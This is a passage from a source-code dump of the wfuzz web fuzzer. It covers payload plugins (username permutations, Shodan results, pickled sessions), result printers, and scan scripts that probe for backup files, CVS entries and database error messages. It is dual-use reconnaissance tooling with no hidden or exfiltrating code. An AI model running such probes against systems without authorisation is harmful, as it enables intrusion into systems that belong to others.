elem = self.value_list[self.current]\n            self.current += 1\n            return elem\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/names.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass names(BasePayload):\n    name = \"names\"\n    author = (\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    description = (\"ie. jon-smith\",)\n    summary = \"Returns possible usernames by mixing the given words, separated by -, using known typical constructions.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = ((\"name\", \"\", True, \"Name and surname in the form of name-surname.\"),)\n\n    default_parameter = \"name\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        possibleusernames = []\n        name = \"\"\n        llist = self.params[\"name\"].split(\"-\")\n\n        for x in llist:\n            if name == \"\":\n                name = name + x\n            else:\n                name = name + \" \" + x\n\n            if \" \" in name:\n                parts = name.split()\n                possibleusernames.append(parts[0])\n                possibleusernames.append(parts[0] + \".\" + parts[1])\n                possibleusernames.append(parts[0] + parts[1])\n                possibleusernames.append(parts[0] + \".\" + parts[1][0])\n                possibleusernames.append(parts[0][0] + \".\" + parts[1])\n                possibleusernames.append(parts[0] + parts[1][0])\n                possibleusernames.append(parts[0][0] + parts[1])\n                str1 = \"\"\n                str2 = \"\"\n                str3 = \"\"\n                str4 = \"\"\n                for i in range(0, len(parts) - 1):\n                    str1 = str1 + parts[i] + \".\"\n                    str2 = str2 + parts[i]\n                    str3 = str3 + parts[i][0] + \".\"\n                    str4 = str4 + parts[i][0]\n                str5 = str1 + parts[-1]\n                str6 = str2 + parts[-1]\n                str7 = str4 + parts[-1]\n                str8 = str3 + parts[-1]\n                str9 = str2 + parts[-1][0]\n                str10 = str4 + parts[-1][0]\n                possibleusernames.append(str5)\n                possibleusernames.append(str6)\n                possibleusernames.append(str7)\n                possibleusernames.append(str8)\n                possibleusernames.append(str9)\n                possibleusernames.append(str10)\n                possibleusernames.append(parts[-1])\n                possibleusernames.append(parts[0] + \".\" + parts[-1])\n                possibleusernames.append(parts[0] + parts[-1])\n                possibleusernames.append(parts[0] + \".\" + parts[-1][0])\n                possibleusernames.append(parts[0][0] + \".\" + parts[-1])\n                possibleusernames.append(parts[0] + parts[-1][0])\n                possibleusernames.append(parts[0][0] + parts[-1])\n            else:\n                possibleusernames.append(name)\n\n            self.creatednames = possibleusernames\n            self.__count = len(possibleusernames)\n\n    def count(self):\n        return self.__count\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        if self.creatednames:\n            payl = self.creatednames.pop()\n            return payl\n        else:\n            raise StopIteration\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/permutation.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.exception import FuzzExceptBadOptions\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass permutation(BasePayload):\n    name = \"permutation\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = ()\n    summary = \"Returns permutations of the given charset and length.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = ((\"ch\", \"\", True, \"Charset and len to permute in the form of abc-2.\"),)\n\n    default_parameter = \"ch\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n        self.charset = []\n\n        try:\n            ran = self.params[\"ch\"].split(\"-\")\n            self.charset = ran[0]\n            self.width = int(ran[1])\n        except ValueError:\n            raise FuzzExceptBadOptions('Bad range format (eg. \"0-ffa\")')\n\n        pset = []\n        for x in self.charset:\n            pset.append(x)\n\n        words = self.xcombinations(pset, self.width)\n        self.lista = []\n        for x in words:\n            self.lista.append(\"\".join(x))\n\n        self.__count = len(self.lista)\n\n    def count(self):\n        return self.__count\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        if self.lista != []:\n            payl = self.lista.pop()\n            return payl\n        else:\n            raise StopIteration\n\n    def xcombinations(self, items, n):\n        if n == 0:\n            yield []\n        else:\n            for i in range(len(items)):\n                for cc in self.xcombinations(items[:i] + items[i:], n - 1):\n                    yield [items[i]] + cc\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/range.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptPluginBadParams\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass range(BasePayload):\n    name = \"range\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    description = (\"ie. 0-10\",)\n    summary = \"Returns each number of the given range.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = ((\"range\", \"\", True, \"Range of numbers in the form 0-10.\"),)\n\n    default_parameter = \"range\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        try:\n            ran = self.params[\"range\"].split(\"-\")\n            self.minimum = int(ran[0])\n            self.maximum = int(ran[1])\n            self.__count = self.maximum - self.minimum + 1\n            self.width = len(ran[0])\n            self.current = self.minimum\n        except ValueError:\n            raise FuzzExceptPluginBadParams('Bad range format (eg. \"23-56\")')\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        if self.current > self.maximum:\n            raise StopIteration\n        else:\n            if self.width:\n                payl = \"%0\" + str(self.width) + \"d\"\n                payl = payl % (self.current)\n            else:\n                payl = str(self.current)\n\n            self.current += 1\n            return payl\n\n    def count(self):\n        return self.__count\n\n    def __iter__(self):\n        return self\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/shodanp.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.payloadtools import ShodanIter\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\n\n@moduleman_plugin\nclass shodanp(BasePayload):\n    name = \"shodanp\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = (\"Queries the Shodan API\",)\n\n    summary = \"Returns URLs of a given Shodan API search (needs api key).\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"search\", \"\", True, \"Shodan search string.\"),\n        (\"page\", \"0\", False, \"Offset page, starting at zero.\"),\n        (\n            \"limit\",\n            \"0\",\n            False,\n            \"Number of pages (1 query credit = 100 results). Zero for all.\",\n        ),\n    )\n\n    default_parameter = \"search\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        search = params[\"search\"]\n        page = int(params[\"page\"])\n        limit = int(params[\"limit\"])\n\n        self._it = ShodanIter(search, page, limit)\n\n    def count(self):\n        return -1\n\n    def close(self):\n        self._it._stop()\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        match = next(self._it)\n\n        port = match[\"port\"]\n        scheme = \"https\" if \"ssl\" in match or port == 443 else \"http\"\n\n        if match[\"hostnames\"]:\n            for hostname in match[\"hostnames\"]:\n                return \"{}://{}:{}\".format(scheme, hostname, port)\n        else:\n            return \"{}://{}:{}\".format(scheme, match[\"ip_str\"], port)\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/stdin.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.fuzzobjects import FuzzWordType\n\nimport sys\n\n\n@moduleman_plugin\nclass stdin(BasePayload):\n    name = \"stdin\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    description = ()\n    summary = \"Returns each item read from stdin.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = ()\n\n    default_parameter = \"\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n        self.__count = -1\n\n    def count(self):\n        return self.__count\n\n    def get_type(self):\n        return FuzzWordType.WORD\n\n    def get_next(self):\n        line = next(sys.stdin).strip()\n\n        return line\n"
  },
  {
    "path": "src/wfuzz/plugins/payloads/wfuzzp.py",
    "content": "import pickle as pickle\nimport gzip\n\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.exception import FuzzExceptBadFile\nfrom wfuzz.fuzzobjects import FuzzResult, FuzzWordType\nfrom wfuzz.plugin_api.base import BasePayload\nfrom wfuzz.helpers.obj_dyn import rgetattr\n\n\n@moduleman_plugin\nclass wfuzzp(BasePayload):\n    name = \"wfuzzp\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.2\"\n    description = (\n        \"This payload uses pickle.\",\n        \"Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data.\",\n        \"Never unpickle data received from an untrusted or unauthenticated source.\",\n        \"See: https://blog.nelhage.com/2011/03/exploiting-pickle/\",\n    )\n    summary = \"Returns fuzz results' URL from a previous stored wfuzz session.\"\n    category = [\"default\"]\n    priority = 99\n\n    parameters = (\n        (\"fn\", \"\", True, \"Filename of a valid wfuzz result file.\"),\n        (\n            \"attr\",\n            None,\n            False,\n            \"Attribute of fuzzresult to return. If not specified the whole object is returned.\",\n        ),\n    )\n\n    default_parameter = \"fn\"\n\n    def __init__(self, params):\n        BasePayload.__init__(self, params)\n\n        self.__max = -1\n        self.attr = self.params[\"attr\"]\n        self._it = self._gen_wfuzz(self.params[\"fn\"])\n\n    def count(self):\n        return self.__max\n\n    def get_next(self):\n        next_item = next(self._it)\n\n        return next_item if not self.attr else rgetattr(next_item, self.attr)\n\n    def get_type(self):\n        return FuzzWordType.FUZZRES if not self.attr else FuzzWordType.WORD\n\n    def _gen_wfuzz(self, output_fn):\n        try:\n            with gzip.open(self.find_file(output_fn), \"r+b\") as output:\n                while 1:\n                    item = pickle.load(output)\n                    if not isinstance(item, FuzzResult):\n                        raise FuzzExceptBadFile(\n                            \"Wrong wfuzz payload format, the object read is not a valid fuzz result.\"\n                        )\n\n                    yield item\n        except IOError as e:\n            raise FuzzExceptBadFile(\"Error opening wfuzz payload file. %s\" % str(e))\n        except EOFError:\n            return\n"
  },
  {
    "path": "src/wfuzz/plugins/printers/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugins/printers/printers.py",
    "content": "import socket\nimport csv as csvmod\nimport json as jjson\nfrom xml.dom import minidom\n\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePrinter\nfrom wfuzz.exception import FuzzExceptPluginBadParams\n\n\n@moduleman_plugin\nclass magictree(BasePrinter):\n    name = \"magictree\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Prints results in magictree format\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, output):\n        BasePrinter.__init__(self, output)\n        self.node_mt = None\n        self.node_service = None\n\n    def __create_xml_element(self, parent, caption, text):\n        # Create a <xxx> element\n        doc = minidom.Document()\n        el = doc.createElement(caption)\n        parent.appendChild(el)\n\n        # Give the <xxx> element some text\n        ptext = doc.createTextNode(text)\n\n        el.appendChild(ptext)\n        return el\n\n    def header(self, summary):\n        doc = minidom.Document()\n\n        # <magictree class=\"MtBranchObject\">\n        self.node_mt = doc.createElement(\"magictree\")\n        self.node_mt.setAttribute(\"class\", \"MtBranchObject\")\n\n        # <testdata class=\"MtBranchObject\">\n        node_td = doc.createElement(\"testdata\")\n        node_td.setAttribute(\"class\", \"MtBranchObject\")\n        self.node_mt.appendChild(node_td)\n\n        # <host>209.85.146.105\n        host = summary.seed.history.host\n        if host.find(\":\") > 0:\n            host, port = host.split(\":\")\n        else:\n            port = 80\n            if summary.seed.history.scheme.lower() == \"https\":\n                port = 443\n\n        try:\n            resolving = socket.gethostbyname(host)\n            node_h = self.__create_xml_element(node_td, \"host\", str(resolving))\n        except socket.gaierror:\n            node_h = self.__create_xml_element(node_td, \"host\", str(host))\n\n        # <ipproto>tcp\n        node_ipr = self.__create_xml_element(node_h, \"ipproto\", \"tcp\")\n\n        # <port>80<state>open</state><service>http\n        node_port = self.__create_xml_element(node_ipr, \"port\", str(port))\n        self.__create_xml_element(node_port, \"state\", \"open\")\n        if summary.seed.history.scheme.lower() == \"https\":\n            node_port = self.__create_xml_element(node_port, \"tunnel\", \"ssl\")\n\n        self.node_service = self.__create_xml_element(node_port, \"service\", \"http\")\n\n    def result(self, fuzz_result):\n        node_url = self.__create_xml_element(\n            self.node_service, \"url\", str(fuzz_result.url)\n        )\n\n        if \"Server\" in fuzz_result.history.headers.response:\n            self.__create_xml_element(\n                node_url, \"HTTPServer\", fuzz_result.history.headers.response[\"Server\"]\n            )\n\n        location = \"\"\n        if \"Location\" in fuzz_result.history.headers.response:\n            location = fuzz_result.history.headers.response[\"Location\"]\n\n        if fuzz_result.code == 301 or fuzz_result.code == 302 and location:\n            self.__create_xml_element(node_url, \"RedirectLocation\", location)\n\n        self.__create_xml_element(node_url, \"ResponseCode\", str(fuzz_result.code))\n        self.__create_xml_element(node_url, \"source\", \"WFuzz\")\n\n    def footer(self, summary):\n        self.f.write(self.node_mt.toxml())\n\n\n@moduleman_plugin\nclass html(BasePrinter):\n    name = \"html\"\n    author = (\n        \"Carlos del Ojo\",\n        \"Christian Martorella\",\n        \"Adapted to newer versions Xavi Mendez (@xmendez)\",\n    )\n    version = \"0.1\"\n    summary = \"Prints results in html format\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, output):\n        BasePrinter.__init__(self, output)\n\n    def header(self, summary):\n        url = summary.url\n\n        self.f.write(\n            '<html><head></head><body bgcolor=#000000 text=#FFFFFF><h1>Fuzzing %s</h1>\\r\\n<table border=\"1\">\\r\\n<tr><td>#request</td><td>Code</td><td>#lines</td><td>#words</td><td>Url</td></tr>\\r\\n'\n            % (url)\n        )\n\n    def result(self, fuzz_result):\n        htmlc = \"<font>\"\n\n        if fuzz_result.code >= 400 and fuzz_result.code < 500:\n            htmlc = \"<font color=#FF0000>\"\n        elif fuzz_result.code >= 300 and fuzz_result.code < 400:\n            htmlc = \"<font color=#8888FF>\"\n        elif fuzz_result.code >= 200 and fuzz_result.code < 300:\n            htmlc = \"<font color=#00aa00>\"\n\n        if fuzz_result.history.method.lower() == \"post\":\n            inputs = \"\"\n            for n, v in list(fuzz_result.history.params.post.items()):\n                inputs += '<input type=\"hidden\" name=\"%s\" value=\"%s\">' % (n, v)\n\n            self.f.write(\n                '\\r\\n<tr><td>%05d</td>\\r\\n<td>%s%d</font></td>\\r\\n<td>%4dL</td>\\r\\n<td>%5dW</td>\\r\\n<td><table><tr><td>%s</td><td><form method=\"post\" action=\"%s\">%s<input type=submit name=b value=\"send POST\"></form></td></tr></table></td>\\r\\n</tr>\\r\\n'\n                % (\n                    fuzz_result.nres,\n                    htmlc,\n                    fuzz_result.code,\n                    fuzz_result.lines,\n                    fuzz_result.words,\n                    fuzz_result.description,\n                    fuzz_result.url,\n                    inputs,\n                )\n            )\n        else:\n            self.f.write(\n                \"\\r\\n<tr><td>%05d</td><td>%s%d</font></td><td>%4dL</td><td>%5dW</td><td><a href=%s>%s</a></td></tr>\\r\\n\"\n                % (\n                    fuzz_result.nres,\n                    htmlc,\n                    fuzz_result.code,\n                    fuzz_result.lines,\n                    fuzz_result.words,\n                    fuzz_result.url,\n                    fuzz_result.url,\n                )\n            )\n\n    def footer(self, summary):\n        self.f.write(\"</table></body></html><h5>Wfuzz by EdgeSecurity<h5>\\r\\n\")\n\n\n@moduleman_plugin\nclass json(BasePrinter):\n    name = \"json\"\n    summary = \"Results in json format\"\n    author = (\"Federico (@misterade)\", \"Minor rework by Ilya Glotov (@ilyaglow)\")\n    version = \"0.2\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, output):\n        BasePrinter.__init__(self, output)\n        self.json_res = []\n\n    def header(self, res):\n        pass\n\n    def result(self, res):\n        server = \"\"\n        if \"Server\" in res.history.headers.response:\n            server = res.history.headers.response[\"Server\"]\n        location = \"\"\n        if \"Location\" in res.history.headers.response:\n            location = res.history.headers.response[\"Location\"]\n        elif res.history.url != res.history.redirect_url:\n            location = \"(*) %s\" % res.history.url\n        post_data = []\n        if res.history.method.lower() == \"post\":\n            for n, v in list(res.history.params.post.items()):\n                post_data.append({\"parameter\": n, \"value\": v})\n\n        res_entry = {\n            \"chars\": res.chars,\n            \"code\": res.code,\n            \"payload\": res.description,\n            \"lines\": res.lines,\n            \"location\": location,\n            \"method\": res.history.method,\n            \"post_data\": post_data,\n            \"server\": server,\n            \"url\": res.url,\n            \"words\": res.words,\n        }\n        self.json_res.append(res_entry)\n\n    def footer(self, summary):\n        self.f.write(jjson.dumps(self.json_res))\n\n\n@moduleman_plugin\nclass raw(BasePrinter):\n    name = \"raw\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Raw output format\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, output):\n        BasePrinter.__init__(self, output)\n\n    def header(self, summary):\n        self.f.write(\"Target: %s\\n\" % summary.url)\n\n        if summary.total_req > 0:\n            self.f.write(\"Total requests: %d\\n\" % summary.total_req)\n        else:\n            self.f.write(\"Total requests: <<unknown>>\\n\")\n\n        if self.verbose:\n            self.f.write(\n                \"==============================================================================================================================================\\n\"\n            )\n            self.f.write(\n                \"ID    C.Time   Response   Lines      Word         Chars                  Server                                             Redirect   Payload    \\n\"\n            )\n            self.f.write(\n                \"==============================================================================================================================================\\n\"\n            )\n        else:\n            self.f.write(\n                \"==================================================================\\n\"\n            )\n            self.f.write(\n                \"ID    Response   Lines      Word         Chars          Request    \\n\"\n            )\n            self.f.write(\n                \"==================================================================\\n\"\n            )\n\n    def _print_verbose(self, res):\n        self.f.write(\"%05d:  \" % res.nres)\n        self.f.write(\"%.3fs   C=\" % res.timer)\n\n        location = \"\"\n        if \"Location\" in res.history.headers.response:\n            location = res.history.headers.response[\"Location\"]\n        elif res.history.url != res.history.redirect_url:\n            location = \"(*) %s\" % res.history.url\n\n        server = \"\"\n        if \"Server\" in res.history.headers.response:\n            server = res.history.headers.response[\"Server\"]\n\n        if res.exception:\n            self.f.write(\"XXX\")\n        else:\n            self.f.write(\"%05d:  C=%03d\" % (res.nres, res.code))\n\n        self.f.write(\n            '   %4d L\\t   %5d W\\t  %5d Ch  %20.20s  %51.51s   \"%s\"\\n'\n            % (\n                res.lines,\n                res.words,\n                res.chars,\n                server[:17],\n                location[:48],\n                res.description,\n            )\n        )\n\n        for plugin_res in res.plugins_res:\n            if plugin_res.is_visible(self.verbose):\n                self.f.write(\n                    \" |_  {} {}\\n\".format(\n                        plugin_res.issue, plugin_res.data if plugin_res.data else \"\"\n                    )\n                )\n\n    def _print(self, res):\n        if res.exception:\n            self.f.write(\"XXX\")\n        else:\n            self.f.write(\"%05d:  C=%03d\" % (res.nres, res.code))\n\n        self.f.write(\n            '   %4d L\\t   %5d W\\t  %5d Ch\\t  \"%s\"\\n'\n            % (res.lines, res.words, res.chars, res.description)\n        )\n\n        for plugin_res in res.plugins_res:\n            if plugin_res.is_visible(self.verbose):\n                self.f.write(\n                    \" |_  {} {}\\n\".format(\n                        plugin_res.issue, plugin_res.data if plugin_res.data else \"\"\n                    )\n                )\n\n    def result(self, res):\n        if self.verbose:\n            self._print_verbose(res)\n        else:\n            self._print(res)\n\n    def footer(self, summary):\n        self.f.write(\"\\n\")\n        self.f.write(\"Total time: %s\\n\" % str(summary.totaltime)[:8])\n\n        if summary.backfeed() > 0:\n            self.f.write(\n                \"Processed Requests: %s (%d + %d)\\n\"\n                % (\n                    str(summary.processed())[:8],\n                    (summary.processed() - summary.backfeed()),\n                    summary.backfeed(),\n                )\n            )\n        else:\n            self.f.write(\"Processed Requests: %s\\n\" % (str(summary.processed())[:8]))\n        self.f.write(\"Filtered Requests: %s\\n\" % (str(summary.filtered())[:8]))\n        self.f.write(\n            \"Requests/sec.: %s\\n\"\n            % str(\n                summary.processed() / summary.totaltime if summary.totaltime > 0 else 0\n            )[:8]\n        )\n\n\n@moduleman_plugin\nclass field(BasePrinter):\n    name = \"field\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Raw output format only showing the specified field expression. No header or footer.\"\n    category = [\"default\"]\n    priority = 99\n\n    def __init__(self, output):\n        BasePrinter.__init__(self, output)\n\n    def header(self, summary):\n        pass\n\n    def result(self, res):\n        if res._fields:\n            to_print = res._field(\"\\n\")\n            if to_print:\n                print(to_print)\n        else:\n            raise FuzzExceptPluginBadParams(\n                \"You need to supply  valid --field or --efield expression for unsing this printer.\"\n            )\n\n    def footer(self, summary):\n        pass\n\n\n@moduleman_plugin\nclass csv(BasePrinter):\n    name = \"csv\"\n    author = (\n        \"@Yoginski initial version\",\n        \"Adapted by @egilas to work in newer version of wfuzz\",\n    )\n    summary = \"CSV printer ftw\"\n    version = \"1.0\"\n    category = [\"default\"]\n    priority = 99\n\n    def write(self, e):\n        self.f.write(e)\n        pass\n\n    def __init__(self, output):\n        BasePrinter.__init__(self, output)\n        self.csv_writer = csvmod.writer(self)\n\n    def header(self, summary):\n        self._print_csv(\n            [\"id\", \"response\", \"lines\", \"word\", \"chars\", \"request\", \"success\"]\n        )\n\n    def result(self, res):\n        line = [\n            res.nres,\n            res.code,\n            res.lines,\n            res.words,\n            res.chars,\n            res.description,\n            0 if res.exception else 1,\n        ]\n        self._print_csv(line)\n\n    def noresult(self, res):\n        pass\n\n    def footer(self, summary):\n        pass\n\n    def _print_csv(self, values):\n        self.csv_writer.writerow(values)\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/__init__.py",
    "content": ""
  },
  {
    "path": "src/wfuzz/plugins/scripts/backups.py",
    "content": "from wfuzz.externals.moduleman.plugin import moduleman_plugin\nfrom wfuzz.plugin_api.base import BasePlugin\n\n# Python 2 and 3\ntry:\n    from urllib.parse import urljoin\nexcept ImportError:\n    from urlparse import urljoin\n\n\n@moduleman_plugin\nclass backups(BasePlugin):\n    name = \"backups\"\n    summary = \"Looks for known backup filenames.\"\n    description = (\"Looks for known backup filenames.\",)\n    \"For example, given http://localhost.com/dir/index.html, it will perform the following requests\",\n    \"* http://localhost/dir/index.EXTENSIONS\",\n    \"* http://localhost/dir/index.html.EXTENSIONS\",\n    \"* http://localhost/dir.EXTENSIONS\",\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    category = [\"fuzzer\", \"active\"]\n    priority = 99\n\n    parameters = (\n        (\n            \"ext\",\n            \".bak,.tgz,.zip,.tar.gz,~,.rar,.old,.-.swp\",\n            False,\n            \"Extensions to look for.\",\n        ),\n    )\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n        self.extensions = self.kbase[\"backups.ext\"][0].split(\",\")\n\n    def validate(self, fuzzresult):\n        return fuzzresult.code != 404 and (\n            fuzzresult.history.urlparse.fext not in self.extensions\n        )\n\n    def process(self, fuzzresult):\n        # >>> urlparse.urlparse(\"http://www.localhost.com/kk/index.html?id=1\")\n        # ParseResult(scheme='http', netloc='www.localhost.com', path='/kk/index.html', params='', query='id=1', fragment='')\n\n        for pre_extension in self.extensions:\n            pre, nothing, extension = pre_extension.partition(\"-\")\n\n            # http://localhost/dir/test.html -----> test.BAKKK\n            self.queue_url(\n                urljoin(\n                    fuzzresult.url, pre + fuzzresult.history.urlparse.fname + extension\n                )\n            )\n\n            # http://localhost/dir/test.html ---> test.html.BAKKK\n            self.queue_url(\n                urljoin(fuzzresult.url, fuzzresult.history.urlparse.ffname + extension)\n            )\n\n            # http://localhost/dir/test.html ----> dir.BAKKK\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/cookies.py",
    "content": "from wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\nKBASE_NEW_COOKIE = \"cookies.cookie\"\n\n\n@moduleman_plugin\nclass cookies(BasePlugin):\n    name = \"cookies\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Looks for new cookies\"\n    description = (\"Looks for new cookies\",)\n    category = [\"info\", \"passive\", \"default\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return True\n\n    def process(self, fuzzresult):\n        new_cookies = list(fuzzresult.history.cookies.response.items())\n\n        if len(new_cookies) > 0:\n            for name, value in new_cookies:\n\n                if (\n                    name != \"\"\n                    and KBASE_NEW_COOKIE not in self.kbase\n                    or name not in self.kbase[KBASE_NEW_COOKIE]\n                ):\n                    self.kbase[KBASE_NEW_COOKIE] = name\n                    self.add_result(\n                        \"cookie\", \"Cookie first set\", \"%s=%s\" % (name, value)\n                    )\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/cvs_extractor.py",
    "content": "# Python 2 and 3\ntry:\n    from urllib.parse import urljoin\nexcept ImportError:\n    from urlparse import urljoin\n\nfrom wfuzz.plugin_api.urlutils import check_content_type\n\nfrom wfuzz.plugin_api.mixins import DiscoveryPluginMixin\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n# Entries format based on:\n# http://docstore.mik.ua/orelly/other/cvs/cvs-CHP-6-SECT-9.htm\n# Good example at http://webscantest.com/CVS/Entries\n\n\n@moduleman_plugin\nclass cvs_extractor(BasePlugin, DiscoveryPluginMixin):\n    name = \"cvs_extractor\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Parses CVS/Entries file.\"\n    description = (\"Parses CVS/Entries file and enqueues found entries\",)\n    category = [\"active\", \"discovery\"]\n    priority = 99\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n    def validate(self, fuzzresult):\n        return (\n            fuzzresult.url.find(\"CVS/Entries\") >= 0\n            and fuzzresult.code == 200\n            and check_content_type(fuzzresult, \"text\")\n        )\n\n    def process(self, fuzzresult):\n        base_url = urljoin(fuzzresult.url, \"..\")\n\n        for line in fuzzresult.history.content.splitlines():\n            record = line.split(\"/\")\n            if len(record) == 6 and record[1]:\n                self.queue_url(urljoin(base_url, record[1]))\n\n                # Directory\n                if record[0] == \"D\":\n                    self.queue_url(urljoin(base_url, record[1]))\n                    self.queue_url(urljoin(base_url, \"%s/CVS/Entries\" % (record[1])))\n"
  },
  {
    "path": "src/wfuzz/plugins/scripts/errors.py",
    "content": "import re\n\nfrom wfuzz.plugin_api.base import BasePlugin\nfrom wfuzz.externals.moduleman.plugin import moduleman_plugin\n\n\n@moduleman_plugin\nclass errors(BasePlugin):\n    name = \"errors\"\n    author = (\"Xavi Mendez (@xmendez)\",)\n    version = \"0.1\"\n    summary = \"Looks for error messages\"\n    description = (\"Looks for common error messages\",)\n    category = [\"default\", \"passive\", \"info\"]\n    priority = 99\n\n    parameters = ()\n\n    def __init__(self):\n        BasePlugin.__init__(self)\n\n        regex_list = [\n            \"A syntax error has occurred\",\n            \"ADODB.Field error\",\n            \"ASP.NET is configured to show verbose error messages\",\n            \"ASP.NET_SessionId\",\n            \"Active Server Pages error\",\n            \"An illegal character has been found in the statement\",\n            'An unexpected token \"END-OF-STATEMENT\" was found',\n            \"Can't connect to local\",\n            \"Custom Error Message\",\n            \"DB2 Driver\",\n            \"DB2 Error\",\n            \"DB2 ODBC\",\n            \"Disallowed Parent Path\",\n            \"Error Diagnostic Information\",\n            \"Error Message : Error loading required libraries.\",\n            \"Error Report\",\n            \"Error converting data type varchar to numeric\",\n            \"Fatal error\",\n            \"Incorrect syntax near\",\n            \"Internal Server Error\",\n            \"Invalid Path Character\",\n            \"Invalid procedure call or argument\",\n            \"Invision Power Board Database Error\",\n            \"JDBC Driver\",\n            \"JDBC Error\",\n            \"JDBC MySQL\",\n            \"JDBC Oracle\",\n            \"JDBC SQL\",\n            \"Microsoft OLE DB Provider for ODBC Drivers\",\n            \"Microsoft VBScript compilation error\",\n            \"Microsoft VBScript error\",\n            \"MySQL Driver\",\n            \"MySQL Error\",\n            \"MySQL ODBC\",\n            \"ODBC DB2\",\n            \"ODBC Driver\",\n            \"ODBC Error\",\n            \"ODBC Microsoft Access\",\n            \"ODBC Oracle\",\n            \"ODBC SQL\",\n            \"ODBC SQL Server\",\n            \"OLE/DB provider returned message\",\n            \"ORA-0\",\n            \"ORA-1\",\n            \"Oracle DB2\",\n            \"Oracle Driver\",\n            \"Oracle Error\",\n            \"Oracle ODBC\",\n            \"PHP Error\",\n            \"PHP Parse error\",\n            \"PHP Warning\",\n            \"Permission denied: 'GetObject'\",\n            \"PostgreSQL query failed: ERROR: parser: parse error\",\n            r\"SQL Server Driver\\]\\[SQL Server\",\n            \"SQL command not properly ended\",\n            \"SQLException\",\n            \"Supplied argument is not a valid PostgreSQL result\",\n            \"Syntax error in query expression\",\n            \"The error occurred in\",\n            \"The script whose uid is\",\n            \"Type mismatch\",\n            \"Unable to jump to row\",\n            \"Unclosed quotation mark before the character string\",\n            \"Unterminated string constant\",\n            \"Warning: Cannot modify header information - headers already sent\",\n            \"Warning: Supplied argument is not a valid File-Handle resource in\",\n            r\"Warning: mysql_query\\(\\)\",\n            r\"Warning: mysql_fetch_array\\(\\)\",\n            r\"Warning: pg_connect\\(\\): Unable to connect to PostgreSQL server: FATAL\",\n            \"You have an error in your SQL syntax near\",\n            \"data source=\",\n            \"detected an internal error [IBM][CLI Driver][DB2/6000]\",\n            \"invalid query\",\n            \"is not allowed to access\",\n            \"missing expression\",\n            \"mySQL error with query\",\n            \"mysql error\",\n            \"on MySQL result index\",\n            \"supplied argument is not a 